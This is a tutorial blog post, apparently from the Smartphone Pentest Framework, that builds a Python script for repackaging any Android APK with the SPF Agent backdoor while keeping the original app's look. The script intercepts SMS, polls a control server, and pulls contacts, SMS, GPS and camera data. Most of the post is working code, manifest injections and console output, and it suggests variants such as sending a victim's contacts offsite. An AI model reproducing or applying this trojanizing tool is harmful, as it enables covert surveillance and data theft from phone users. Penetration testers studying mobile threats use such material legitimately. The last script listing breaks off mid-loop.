One of the features of SPF is being able to take a compiled Android APK and refactor it to include the SPF Agent. Details of how to do this in SPF are in the SPF User manualBackdooring APKs section. The resulting app looks and feels like the original app, but with some extra functionality. In this post we will explore how this is implemented in SPF and how you can extend it to meet your individual backdooring APK needs that may differ from the one size fits all approach of the current SPF Agent. A basic understand of the Python programming language will be assumed.
Also, the heavy lifting of Android reverse engineering will be performed by the third-party Apktool. SPF has a menu option for installing APKtool if you do not already have it. Choose option 10.) Install Stuff at the main menu then option 2.) Android APKTool.
Select An Option from the Menu:
1.) Attach Framework to a Deployed Agent/Create Agent
2.) Send Commands to an Agent
3.) View Information Gathered
4.) Attach Framework to a Mobile Modem
5.) Run a remote attack
6.) Run a social engineering or client side attack
7.) Clear/Create Database
8.) Use Metasploit
9.) Compile code to run on mobile devices
10.) Install Stuff
11.) Use Drozer
0.) Exit
spf> 10
What would you like to Install?
1.) Android SDKS
2.) Android APKTool
3.) Download Android Nmap
spf> 2
Install Android APKTool(y/N)?
spf> y
--2014-01-13 14:54:57-- https://android-apktool.googlecode.com/files/apktool-install-linux-r05-ibot.tar.bz2
..snip..
Apktool will be installed in the root SPF directory in a folder called apktool-install-linux-r05-ibot.
For this example I’ll use one of Google’s Demo Apps, though this method should be fairly universal. For example, I showed this technique on the local ABC News channel at Takedowncon Rocketcity using the official ABC News Android app. A compiled MapsDemo.apk can be found in the SPF repos at Smartphone-Pentest-Framework/APKs/MapsDemo.apk.
I’ll start with a directory with a backup of the SPF Android Agent that I want to use as a backdoor.
root@kali:~# mkdir BackdoorExample
root@kali:~# cd BackdoorExample/
root@kali:~/BackdoorExample# cp -rf /root/Smartphone-Pentest-Framework/APKs/AndroidAgentBAK/ .
root@kali~/BackdoorExample#mv AndroidAndroidBAK AndroidAgent
root@kali:~/BackdoorExample# ls
AndroidAgent
Disassembling the APK
Now I want to write a little Python program to put this inside of another APK. Let’s start by asking the user for the APK they want to backdoor. We will need the os Python module as we build our script, so I will go ahead and import it at the beginning of the script.
#!/usr/bin/python import os inputfile = raw_input('APK to Backdoor: ').strip() |
We are going to use Apktool a few times in this script to decompile and recompile APKs so let’s just create a variable to its location. Then we will use Apktool to decompile the APK we are backdooring. The syntax for decompiling with Apktool is d . Apktool will create a directory in our current directory with the decompiled app.
apktoolloc = "/root/Smartphone-Pentest-Framework/apktool-install-linux-r05-ibot/apktool" os.system(apktoolloc + " d " + inputfile) |
Run the script so we can look at the decompiled MapsDemo. Tell backdoor.py to backdoor the MapsDemo.apk app that is included as an example with SPF.
root@kali:~/BackdoorExample# ./backdoor.py
APK to Backdoor: /root/Smartphone-Pentest-Framework/APKs/MapsDemo.apk
I: Baksmaling...
I: Loading resource table...
I: Loaded.
I: Decoding AndroidManifest.xml with resources...
I: Loading resource table from file: /root/apktool/framework/1.apk
I: Loaded.
I: Regular manifest package...
I: Decoding file-resources...
I: Decoding values */* XMLs...
I: Done.
I: Copying assets and libs...
root@kali:~/BackdoorExample# ls
AndroidAgent backdoor.py MapsDemo
Change directories into the MapsDemo directory that has been created by Apktool and have a look around.
root@kali:~/BackdoorExample/MapsDemo# ls
AndroidManifest.xml apktool.yml res smali
Just for comparison to see what Apktool does, take a compiled APK file, unzip it and compare the results. For example let’s copy over MapsDemo.apk and unzip it.
root@kali:~/BackdoorExample# mkdir MapsDemocomplied
root@kali:~/BackdoorExample# cd MapsDemocomplied/
root@kali:~/BackdoorExample/MapsDemocomplied# cp /root/Smartphone-Pentest-Framework/APKs/MapsDemo.apk .
root@kali:~/BackdoorExample/MapsDemocomplied# unzip MapsDemo.apk
Archive: MapsDemo.apk
extracting: res/drawable/app_sample_code.png
inflating: res/layout/mapview.xml
inflating: AndroidManifest.xml
extracting: resources.arsc
inflating: classes.dex
inflating: META-INF/MANIFEST.MF
inflating: META-INF/CERT.SF
inflating: META-INF/CERT.RSA
root@kali:~/BackdoorExample/MapsDemocomplied# ls
AndroidManifest.xml classes.dex MapsDemo.apk META-INF res resources.arsc
We have AndroidManifest.xml here as well as the res directory. We also have META-INF, resources.arsc, and classes.dex which are not in the decompiled MapsDemo folder. Classes.dex is the compiled Dalvik dex code of the MapsDemo app. In addition to the code itself being compiled, other files such as our AndroidManifest.xml and the resources such as any pictures or layouts that are used are compiled as well.
root@kali:~/BackdoorExample/MapsDemocomplied# cd res
root@kali:~/BackdoorExample/MapsDemocomplied/res# ls
drawable layout raw
root@kali:~/BackdoorExample/MapsDemocomplied/res# cd layout/
root@kali:~/BackdoorExample/MapsDemocomplied/res/layout# ls
mapview.xml
root@kali:~/BackdoorExample/MapsDemocomplied/res/layout# cat mapview.xml
?
$BTjz??? F id
layout_heightenabled layclickable apiKeyandroid*http://schemas.android.com/apk/res/android
LinearLayout¬com.google.android.maps.MapView
apisamples? ? ? ? ? ???? ` ???????? ??? ??? ???? ??? ???? ? ????????
??? ???? ??? ???? ??? ???? ??? ????
????????
¬???????? ¬????
Looking back at the decompiled version we will see that AndroidManifest.xml and the resources are now in plaintext.
root@kali:~/BackdoorExample/MapsDemocomplied/res/layous/layout/../../MapsDemo/res/layout/
root@kali:~/BackdoorExample/MapsDemo/res/layout# cat mapview.xml
root@kali:~/BackdoorExample/MapsDemo/res/layout#
Additionally, classes.dex has been replaced with the smali directory. You can learn more about Smali, but basically it’s a more human readable translation of Dalvik dexcode. For example take a look at MapsDemo.smali in the smali/com/example/android/apis
root@kali:~/BackdoorExample/MapsDemo/smali/com/example/android/apis# cat MapsDemo.smali
.class public Lcom/example/android/apis/MapsDemo;
.super Landroid/app/ListActivity;
.source "MapsDemo.java"
# static fields
.field private static final sDisplayNameComparator:Ljava/util/Comparator;
.annotation system Ldalvik/annotation/Signature;
value = {
"Ljava/util/Comparator",
"<", "Ljava/util/Map;", ..snip...
It doesn’t look much like Java or probably any other programming language you’ve encountered but you may notice a few things that look familiar such as a ListActivity which as the name implies is an Android Activity specifically designed to make a list. You will not need any Smali skills for this backdooring technique. We will look at editing Smali code directly in a later post.
Backdooring our Agent with the Origonal App
For now we will instead edit the source code in our AndroidAgent folder, backdooring our backdoor with the original app if you will. We will talk about working with Smali code in a later post, but regardless of whether you are a Smali expert, the code you encounter for each decompiled app will be at least slightly different. While in many cases it may be simple to add Smali code to start backdoor code automatically in the original app’s Smali code, doing this programmatically for any app will be difficult if not impossible. We will discuss issues with this approach such as how Smali handles local variables in a later post. I chose to solve this issue by instead taking the Java source code of my Android Agent backdoor and adding code to automatically start the original app. To the user, my backdoored app will look and feel like the original, but will have the backdoor functionality added. Also, using this method the backdooring algorithm will be the same regardless of the Smali code encountered in the original app.
We are going to need to add all of the SPF Agent functionality to the Maps Demo app, but there are two pieces of the Agent that run automatically and thus may take more oversight than simply dropping an additional class into the Maps Demo app and adding a reference to it in AndroidManifest.xml. These are the communication methods. SPF Agents can currently communicate over SMS and HTTP. The SMS communication method is discussed in this post and consists of setting up a BroadcastReceiver to listen for an SMS received and intercepting it before the main SMS app receives it. Adding this will be pretty straightforward as the broadcast receiver automatically listens in the background regardless of whether the app is currently running. On the other hand, the HTTP communication method periodically polls a webserver for instructions. Since this is active rather than passive, we will need to have our original app automatically start the polling process when the app starts. Though this example uses SMS and HTTP you could substitute any passive listener and active process and generalize this technique to fit your needs. For example, rather than periodically checking in with a web server, you could build some code that on startup copies the user’s contacts list and sends them offsite via SMS. You would need to edit the original app to start this process automatically when it starts. Though the code would be different, the backdooring technique would be the same as we will use here.
Finding the Main Activity
In order to run some code automatically when the backdoored app starts, but still have it look and feel like the original app to the user, we need to add our malicious code (or a call to it) to the method that is called when the user starts the application (typically the onCreate() method in the main Activity). We can find what class is called when the app starts easily by looking at the decompiled AndroidManifest.xml and looking for the lines
<intent-filter> <category android:name="android.intent.category.LAUNCHER" /> <action android:name="android.intent.action.MAIN" /> </intent-filter> |
Looking at the AndroidManifest.xml file for MapsDemo we see this intent-filter entry under this interface declaration:
<activity android:label="MapsDemo" android:name="com.example.android.apis.MapsDemo"> |
This tells us that the class MapsDemo in the package com.example.android.apis is called when the app starts. But we want to be able to do this programmatically, not just for this app, so we need to look at XML parsing in Python. First we need to add an import statement at the top to bring in the xml.etree.ElementTree library. I have imported it as ET so I can say ET instead of all that when I want to call it.
import xml.etree.ElementTree as ET |
Now we need to open AndroidManifest.xml as an ET and look for
<intent-filter> <category android:name="android.intent.category.LAUNCHER" /> <action android:name="android.intent.action.MAIN" /> </intent-filter> |
First I want to take that inputfile we used earlier and get the folder name that Apktool created. We can do this easily with Python’s os.path.split. Our original entry was /root/Smartphone-Pentest-Framework/APKs/MapsDemo.apk. So the file variable will be set to MapsDemo.apk in the code below. We can strip off the .apk with file[:-4] as shown below and set the foldername variable to MapsDemo.
path,file = os.path.split(inputfile) foldername = file[:-4] |
Now let’s look in that folder for AndroidManifest.xml and open it as an ET.
ET.register_namespace("android", "http://schemas.android.com/apk/res/android") tree = ET.ElementTree() tree.parse(foldername + "/AndroidManifest.xml") root = tree.getroot() |
A standard entry for Android Manifest files is package, which as the name implies will list the package. Let’s grab this while we are here. Why it is possibly important to us will become clear a bit later on.
package = root.get('package') print package |
Now we need to look through the XML and find the tag. Its children will include the various interfaces for the app (services, activities, receivers, etc.) We want to find the child activity with the intent-filter entry to signify it is the main activity. Code to do this is shown below. Once we find the correct interface we set the variable mainact equal to that name. Then we break since we are done looking and don’t need to examine any more XML entries. In the code below I have added print statements to print out the package and the main activity to the console.
for child in root: if child.tag == "application": app = child for child in app: if child.tag == "activity": act = child for child in act: if child.tag == "intent-filter": filter = child for child in filter: if (filter[0].get('{http://schemas.android.com/apk/res/android}name') == "android.intent.category.LAUNCHER" or filter[0].get('{http://schemas.android.com/apk/res/android}name') == "android.intent.action.MAIN"): if (filter[1].get('{http://schemas.android.com/apk/res/android}name') == "android.intent.category.LAUNCHER" or filter[1].get('{http://schemas.android.com/apk/res/android}name') == "android.intent.action.MAIN"): mainact = act.get('{http://schemas.android.com/apk/res/android}name') print mainact break |
Before running the updated script delete the MapsDemo folder as the script will recreate it.
root@kali:~/BackdoorExample# rm -rf MapsDemo
Now run the updated script. You will see the package is com.example.android.google.apis and the main activity is MapsDemo in that package. Comparing with our AndroidManifest.xml, this is correct.
root@kali:~/BackdoorExample# ./backdoor.py
APK to Backdoor: /root/Smartphone-Pentest-Framework/APKs/MapsDemo.apk
I: Baksmaling...
I: Loading resource table...
I: Loaded.
I: Decoding AndroidManifest.xml with resources...
I: Loading resource table from file: /root/apktool/framework/1.apk
I: Loaded.
I: Regular manifest package...
I: Decoding file-resources...
I: Decoding values */* XMLs...
I: Done.
I: Copying assets and libs...
com.example.android.google.apis
com.example.android.apis.MapsDemo
I mentioned that the package attribute may or may not be important. In this case the activity name is written out with the full package name com.example.android.apis.MapsDemo. However, it is also acceptable for a developer to write this as .MapsDemo, and the package will be added automatically from the package attribute. Since we want to be able to backdoor any APK, we need to account for this. To check, I will just look and see if the first character in mainact is a period (.). If it is I will add the package to the front of mainact. I put this code before the break in the for loop.
if mainact[0] == ".": mainact = package + mainact |
So now we have the main activity we need to add our code to start the backdoor functionality. We only have the Smali code for this activity. Though it is possible to edit the Smali code to add our backdoor functionality, we may not be Smali experts, and it may be difficult to do this programmatically given the different code you will encounter in every main activity in every Android app ever made. Luckily we have a second option; instead of backdooring the original app with the SPF Agent, we will instead backdoor the SPF Agent with the original app. We have the source code for our AndroidAgent backdoor, and it will be the same every time, solving both of our problems.
While we are here, let’s take the first step in setting this up. We no longer want the main activity for MapsDemo to start automatically, the blank main activity for the SPF Agent will be our main activity instead. We will edit the main activity for the SPF Agent to automatically start MapsDemo’s main activity. To the user everything will look normal. So while we have our AndroidManifest.xml open as an ET, let’s remove the intent-filter tag that signifies this is the main activity. When we add the SPF Agent interfaces to the manifest it will be added back in the correct place. Don’t forget to write the tree to a file to save your changes. Again put these lines before the break in the for loop.
act.remove(filter) tree.write("output.xml") |
Now back outside of the loops, if statements, etc. move output.xml to overwrite AndroidManifest.xml.
os.system("mv output.xml " + foldername + "/AndroidManifest.xml") |
The script should currently read:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 |
#!/usr/bin/python import os import xml.etree.ElementTree as ET inputfile = raw_input('APK to Backdoor: ').strip() apktoolloc = "/root/Smartphone-Pentest-Framework/apktool-install-linux-r05-ibot/apktool" os.system(apktoolloc + " d " + inputfile) path,file = os.path.split(inputfile) foldername = file[:-4] ET.register_namespace("android", "http://schemas.android.com/apk/res/android") tree = ET.ElementTree() tree.parse(foldername + "/AndroidManifest.xml") root = tree.getroot() package = root.get('package') print package for child in root: if child.tag == "application": app = child for child in app: if child.tag == "activity": act = child for child in act: if child.tag == "intent-filter": filter = child for child in filter: if (filter[0].get('{http://schemas.android.com/apk/res/android}name') == "android.intent.category.LAUNCHER" or filter[0].get('{http://schemas.android.com/apk/res/android}name') == "android.intent.action.MAIN"): if (filter[1].get('{http://schemas.android.com/apk/res/android}name') == "android.intent.category.LAUNCHER" or filter[1].get('{http://schemas.android.com/apk/res/android}name') == "android.intent.action.MAIN"): mainact = act.get('{http://schemas.android.com/apk/res/android}name') if mainact[0] == ".": mainact = package + mainact print mainact act.remove(filter) tree.write("output.xml") break os.system("mv output.xml " + foldername + "/AndroidManifest.xml") |
If you run the script and look at AndroidManifest.xml, you will see that the intent-filter tag for the main activity has been removed.
Starting MapsDemo from our Agent Backdoor Code
Now that we have found the main activity, we need to automatically start it. We will add an Intent to start the MapsDemo main activity in the onCreate() method in the main activity of the SPF Agent. In the AndroidAgent folder go to src/com/bulbsecurity/framework to find the source code. AndroidAgentActivity is the main activity. The onCreate() method is shown below.
public class AndroidAgentActivity extends Activity { /** Called when the activity is first created. */ @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); Log.i("AAA", "Main Activity Started"); Intent intent = new Intent(getApplicationContext(),ServiceAutoStarterr.class); sendBroadcast(intent); Log.i("AAA", "Broadcast sent"); finish(); } |
This code logs a couple things for debugging and starts the ServiceAutoStarterr class which sets the timer to automatically poll the webserver periodically. Finally we call finish() to shutdown this activity.
We want to add any Intent to start the main activity of MapsDemo right before the finish(). We are going to use regular expressions to match strings so we will need to add another import statement to the start of the script.
import re |
Now we need to calculate a few strings. Let’s take mainact and split it on periods (.). This will allow us to make the full package, the classname regardless of how this was set up in the manifest.
mainactsplit = mainact.split(".") length = len(mainactsplit) classname = mainactsplit[length - 1] package = mainactsplit[0] + "." for x in range(1, (length - 2)): add = mainactsplit[x] + "." package += add package += mainactsplit[length - 2] |
In our case package will be com.example.android.google.apis and classname will be MapsDemo. The string to denote our MapsDemo class in the Intent we will add to AndroidAgentActivity is package + classname with .class at the end. Finally, the file we need to edit is AndroidAgent/src/com/bulbsecurity/framework/AndroidAgentActivity.java
appmain = package + "." + classname + ".class" mainfile = "AndroidAgent/src/com/bulbsecurity/framework/AndroidAgentActivity.java" |
Now we need to use regular expressions to add the following code right before the finish() in the onCreate() method of AndroidAgentActivity.
Intent intent2 = new Intent(getApplicationContext(), <appmain>); startActivity(intent2); |
Inject the code with regular expressions as shown below
inject = "\n Intent intent2 = new Intent(getApplicationContext(), " + appmain + ");\nstartActivity(intent2);\n" with open(mainfile, 'r') as f: fc = f.read() with open(mainfile, 'w') as f: f.write(re.sub(r'(finish)', r'%s\1'%inject, fc, count=1)) |
The only trouble is we need to compile this code, and in its current state this code will throw an error that the class specified in this Intent does not exist. In order to get it to compile we just need to create a dummy class. We don’t even have to add it to the manifest for AndroidAgent as this code will never actually be run. It is just going to be used to backdoor the MapsDemo app.
Our dummy class needs to go in the src directory following the convention of a folder for each level of the package. In our case we will make src/com/example/android/apis/.
newfolder = "src/" + mainactsplit[0] + "/" os.system("mkdir AndroidAgent/" + newfolder) for x in range(1, (length - 1)): add = mainactsplit[x] + "/" newfolder += add os.system("mkdir AndroidAgent/" + newfolder) |
In the nearly created folder create a new file called MapsDemo.java in our case.
fullclasspath = "AndroidAgent/" + newfolder + classname + ".java" os.system("touch " + fullclasspath) |
Again, this code won’t ever be run, the real main activity will be in place by the time we run the backdoored app, so we just need something that compiles here. We will add a simple Activity class skeleton here.
f = open(fullclasspath, 'w') line1 = "package " + package + ";\n" line2 = "import android.app.Activity;\n" line3 = "public class " + classname + " extends Activity {\n" line4 = "}\n" f.write(line1) f.write(line2) f.write(line3) f.write(line4) f.close() |
If you run the current script and then check the AndroidAgent folder you should notice a couple of changes. First the Intent to start MapsDemo’s main activity should be added before finish() in the onCreate() method in AndroidAgentActivity.
public class AndroidAgentActivity extends Activity { /** Called when the activity is first created. */ @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); Log.i("AAA", "Main Activity Started"); Intent intent = new Intent(getApplicationContext(),ServiceAutoStarterr.class); sendBroadcast(intent); Log.i("AAA", "Broadcast sent"); Intent intent2 = new Intent(getApplicationContext(), com.example.apisandroid.apis.MapsDemo.class); startActivity(intent2); finish(); } |
Also the file src/com/example/android/apis/MapsDemo.java with the following code.
root@kali:~/BackdoorExample/AndroidAgent/src/com/example/android/apis# cat MapsDemo.java
package com.example.apisandroid.apis;
import android.app.Activity;
public class MapsDemo extends Activity {
}
From now on as we continue to build our script, we not only need to delete the MapsDemo folder between runs, but also we need to restore AndroidAgent to its original version before these changes.
The current script is shown here:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 |
#!/usr/bin/python import os import xml.etree.ElementTree as ET import re inputfile = raw_input('APK to Backdoor: ').strip() apktoolloc = "/root/Smartphone-Pentest-Framework/apktool-install-linux-r05-ibot/apktool" os.system(apktoolloc + " d " + inputfile) path,file = os.path.split(inputfile) foldername = file[:-4] ET.register_namespace("android", "http://schemas.android.com/apk/res/android") tree = ET.ElementTree() tree.parse(foldername + "/AndroidManifest.xml") root = tree.getroot() package = root.get('package') print package for child in root: if child.tag == "application": app = child for child in app: if child.tag == "activity": act = child for child in act: if child.tag == "intent-filter": filter = child for child in filter: if (filter[0].get('{http://schemas.android.com/apk/res/android}name') == "android.intent.category.LAUNCHER" or filter[0].get('{http://schemas.android.com/apk/res/android}name') == "android.intent.action.MAIN"): if (filter[1].get('{http://schemas.android.com/apk/res/android}name') == "android.intent.category.LAUNCHER" or filter[1].get('{http://schemas.android.com/apk/res/android}name') == "android.intent.action.MAIN"): mainact = act.get('{http://schemas.android.com/apk/res/android}name') if mainact[0] == ".": mainact = package + mainact print mainact act.remove(filter) tree.write("output.xml") break os.system("mv output.xml " + foldername + "/AndroidManifest.xml") mainactsplit = mainact.split(".") length = len(mainactsplit) classname = mainactsplit[length - 1] package = mainactsplit[0] + "." for x in range(1, (length - 2)): add = mainactsplit[x] + "." package += add package += mainactsplit[length - 2] appmain = package + "." + classname + ".class" mainfile = "AndroidAgent/src/com/bulbsecurity/framework/AndroidAgentActivity.java" inject = "\n Intent intent2 = new Intent(getApplicationContext(), " + appmain + ");\nstartActivity(intent2);\n" with open(mainfile, 'r') as f: fc = f.read() with open(mainfile, 'w') as f: f.write(re.sub(r'(finish)', r'%s\1'%inject, fc, count=1)) newfolder = "src/" + mainactsplit[0] + "/" os.system("mkdir AndroidAgent/" + newfolder) for x in range(1, (length - 1)): add = mainactsplit[x] + "/" newfolder += add os.system("mkdir AndroidAgent/" + newfolder) fullclasspath = "AndroidAgent/" + newfolder + classname + ".java" os.system("touch " + fullclasspath) f = open(fullclasspath, 'w') line1 = "package " + package + ";\n" line2 = "import android.app.Activity;\n" line3 = "public class " + classname + " extends Activity {\n" line4 = "}\n" f.write(line1) f.write(line2) f.write(line3) f.write(line4) f.close() |
Compiling and Decompiling the Agent Code
Now we need to build the AndroidAgent project using the Android SDK and Ant. Both of these tools are preinstalled on Kali Linux and are in the path.
os.system("android update project --name AndroidAgent --path AndroidAgent/") os.system("ant -f AndroidAgent/build.xml clean debug") |
Once the AndroidAgent code is compiled we need to decompile it back into Smali code that we can copy into the decompiled MapsDemo. Tell Apktool to decompile into a folder called AndroidAgent2.
os.system(apktoolloc + " d AndroidAgent/bin/AndroidAgent-debug.apk AndroidAgent2/") |
Combining the Two Apps
Now copy all the Smali code from AndroidAgent2 to the Maps Demo smali folder. Keep in mind that the package path will not necessarily start with com as it does here.
os.system("mkdir " + foldername + "/smali/com") os.system("cp -rf AndroidAgent2/smali/com/bulbsecurity " + foldername + "/smali/com/") os.system("mkdir " + foldername + "/smali/jackpal") os.system("cp -rf AndroidAgent2/smali/jackpal " + foldername + "/smali/") |
Now we need to add any new interfaces from the backdoor code into MapsDemo’s AndroidManifest.xml. We do this in the same way as we injected code into AndroidAgentActivity.java. Note that we are adding a BroadcastReceiver to intercept incoming SMS messages as described in this post. This combined with the relevant permissions which we will add next are enough to put our SMS listener in place.
manifestfile = foldername + "/AndroidManifest.xml" inject = """ <receiver android:name="com.bulbsecurity.framework.SMSReceiver"> <intent-filter android:priority="999"><action android:name="android.provider.Telephony.SMS_RECEIVED" /></intent-filter> </receiver> <service android:name="com.bulbsecurity.framework.SMSService"> </service> <receiver android:name="com.bulbsecurity.framework.ServiceAutoStarterr"> <intent-filter ><action android:name="android.intent.action.BOOT_COMPLETED"></action></intent-filter> </receiver> <receiver android:name="com.bulbsecurity.framework.AlarmReceiver" android:process=":remote"></receiver> <service android:name="com.bulbsecurity.framework.CommandHandler"> </service> <service android:name="com.bulbsecurity.framework.PingSweep"> </service> <service android:name="com.bulbsecurity.framework.SMSGet"> </service> <service android:name="com.bulbsecurity.framework.ContactsGet"> </service> <service android:name="com.bulbsecurity.framework.InternetPoller"> </service> <service android:name="com.bulbsecurity.framework.WebUploadService"> </service> <service android:name="com.bulbsecurity.framework.PictureService"> </service> <service android:name="com.bulbsecurity.framework.Download"> </service> <service android:name="com.bulbsecurity.framework.Execute"> </service> <service android:name="com.bulbsecurity.framework.GetGPS"> </service> <service android:name="com.bulbsecurity.framework.Checkin"> </service> <service android:name="com.bulbsecurity.framework.Listener"></service> <service android:name="com.bulbsecurity.framework.Phase1" android:process=":three"> </service> <service android:name="com.bulbsecurity.framework.Phase2" android:process=":two"> </service> <service android:name="com.bulbsecurity.framework.Exynos"></service> <service android:name="com.bulbsecurity.framework.Upload"></service> <activity android:name="com.bulbsecurity.framework.AndroidAgentActivity"> <intent-filter> <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter> </activity> """ with open(manifestfile, 'r') as f: fc = f.read() with open(manifestfile, 'w') as f: f.write(re.sub(r'(<\/application>)', r'%s\1'%inject, fc, count=1)) |
Do the same thing to add any Android permissions the backdoor code uses. With the SPF Agent in the free version of SPF this is currently an all or nothing approach. You get all the permissions for all of the functionality the Android Agent is capable of. If you are building your own backdoor, it would be better to only use the permissions your backdoor code requires to function.
inject = """ <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" /> <uses-permission android:name="android.permission.INTERNET" /> <uses-permission android:name="android.permission.RECEIVE_SMS"/> <uses-permission android:name="android.permission.SEND_SMS"/> <uses-permission android:name="android.permission.CAMERA"/> <uses-permission android:name="android.permission.READ_CONTACTS"/> <uses-permission android:name="android.permission.INTERNET"/> <uses-permission android:name="android.permission.READ_SMS"/> <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/> <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/> <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/> <uses-permission android:name="android.permission.READ_PHONE_STATE"/> <uses-permission android:name="android.permission.ACCESS_WIFI_STATE" /> <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" /> """ with open(manifestfile, 'r') as f: fc = f.read() with open(manifestfile, 'w') as f: f.write(re.sub(r'(<uses-permission)', r'%s\1'%inject, fc, count=1)) |
If you run the script now, look in MapsDemo’s smali folder. You will find jackpal and com/bulbsecurity with the corresponding Smali code.
root@kali:~/BackdoorExample/MapsDemo/smali/com/bulbsecurity/framework# ls
AlarmReceiver.smali Listener$ServerThread.smali
AndroidAgentActivity.smali Listener.smali
..snip…
Also the code has been injected into AndroidManifest.xml.
The SPF Agent stores its global variables such as the phone number of the control modem and the webserver to check in at in the strings.xml file in the res/values directory. In most apps strings.xml will exist already and we can just inject our strings in the usual way. Just in case, we will first check that the file exists. If it does not we will also build the rest of the XML for strings.xml in addition to our string values. The values in the string elements do not matter at this point (leave urii as /control). Next we will prompt the user to fill these in with the right values to meet their needs. More information about these global variables can be found in the SPF Manual Agents section.
stringfile = foldername + "/res/values/strings.xml" inject = """ <string name="key">KEYKEY1</string> <string name="controlnumber">155552155554</string> <string name="controlIP">192.168.1.108</string> <string name="urii">/control</string> <string name="controlpath">/androidagent1</string> """ if os.path.exists(stringfile): with open(stringfile, 'r') as f: fc = f.read() with open(stringfile, 'w') as f: f.write(re.sub(r'(<\/resources>)', r'%s\1'%inject, fc, count=1)) else: inject2 = """ <?xml version="1.0" encoding="utf-8"?> <resources> """ os.system("touch " + stringfile) with open(stringfile, 'w') as f: f.write(inject2) f.write(inject) f.write("</resources>") |
Now we will prompt the user to fill in the global variables with the correct values. Note that in SPF the ControlIP will be filled in automatically from the SPF configuration file instead of prompting the user. Here we prompt the user for the controlIP (IP address where the SPF console is), ControlKey (7 character key to prevent SPF from being hijacked), ControlPath (path on the webserver for HTTP checkin), and ControlPhone (phone number of the SPF modem that can control the Agent).
controlphone = raw_input('Phone number of the control modem for the agent: ').strip() controlkey = raw_input('Control key for the agent: ').strip() controlpath = raw_input('Webserver control path for agent: ').strip() controlip = raw_input('Webserver control IP: ').strip() |
Now we need to replace the relevant values in strings.xml with the values the user entered. This time we will use the sed utility.
os.system("sed -i \'s/<string name=\"key\">.*/<string name=\"key\">" + controlkey + "<\\/string>/' " + stringfile) os.system("sed -i \'s/<string name=\"controlnumber\">.*/<string name=\"controlnumber\">" + controlphone + "<\\/string>/' " + stringfile) os.system("sed -i \'s/<string name=\"controlIP\">.*/<string name=\"controlIP\">" + ipaddress + "<\\/string>/' " + stringfile) os.system("sed -i \'s/<string name=\"controlpath\">.*/<string name=\"controlpath\">\\" + controlpath + "<\\/string>/' " + stringfile) |
Before we compile our backdoored code we need to deal with a small issue in Apktool. From time to time a syntax error is made in the decompiled styles.xml file. What should be @android becomes @*android. Styles.xml does not exist in our case, but since we want to be able to backdoor any APK, we can use the following code to fix this issue before we compile.
xml_path = foldername + '/res/values/styles.xml' if os.path.exists(xml_path): tree = ET.parse(xml_path) for child in tree.findall('.//*[@parent]'): if child.get('parent').startswith('@*android:style/'): new_parent = child.get('parent').replace('@*android:style/','@android:style/') child.set('parent', new_parent) tree.write(xml_path) |
Since this is Smali and not Java code, we need to use Apktool to compile. Use the b flag to tell Apktool to build.
os.system(apktoolloc + " b " + foldername + " " + foldername + ".apk") |
Now we have a compiled backdoored APK, but as you will see soon, we aren’t quite done. Remove the MapsDemo folder and use Apktool to decompile the backdoored APK back into the folder.
os.system("rm -rf " + foldername) os.system(apktoolloc + " d " + foldername + ".apk " + foldername + "/") |
The script up until this point is shown below:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 |
#!/usr/bin/python import os import xml.etree.ElementTree as ET import re inputfile = raw_input('APK to Backdoor: ').strip() apktoolloc = "/root/Smartphone-Pentest-Framework/apktool-install-linux-r05-ibot/apktool" os.system(apktoolloc + " d " + inputfile) path,file = os.path.split(inputfile) foldername = file[:-4] ET.register_namespace("android", "http://schemas.android.com/apk/res/android") tree = ET.ElementTree() tree.parse(foldername + "/AndroidManifest.xml") root = tree.getroot() package = root.get('package') print package for child in root: if child.tag == "application": app = child for child in app: if child.tag == "activity": act = child for child in act: if child.tag == "intent-filter": filter = child for child in filter: if (filter[0].get('{http://schemas.android.com/apk/res/android}name') == "android.intent.category.LAUNCHER" or filter[0].get('{http://schemas.android.com/apk/res/android}name') == "android.intent.action.MAIN"): if (filter[1].get('{http://schemas.android.com/apk/res/android}name') == "android.intent.category.LAUNCHER" or filter[1].get('{http://schemas.android.com/apk/res/android}name') == "android.intent.action.MAIN"): mainact = act.get('{http://schemas.android.com/apk/res/android}name') if mainact[0] == ".": mainact = package + mainact print mainact act.remove(filter) tree.write("output.xml") break os.system("mv output.xml " + foldername + "/AndroidManifest.xml") mainactsplit = mainact.split(".") length = len(mainactsplit) classname = mainactsplit[length - 1] package = mainactsplit[0] + "." for x in range(1, (length - 2)): add = mainactsplit[x] + "." package += add package += mainactsplit[length - 2] appmain = package + "." + classname + ".class" mainfile = "AndroidAgent/src/com/bulbsecurity/framework/AndroidAgentActivity.java" inject = "\n Intent intent2 = new Intent(getApplicationContext(), " + appmain + ");\nstartActivity(intent2);\n" with open(mainfile, 'r') as f: fc = f.read() with open(mainfile, 'w') as f: f.write(re.sub(r'(finish)', r'%s\1'%inject, fc, count=1)) newfolder = "src/" + mainactsplit[0] + "/" os.system("mkdir AndroidAgent/" + newfolder) for x in range(1, (length - 1)): add = mainactsplit[x] + "/" 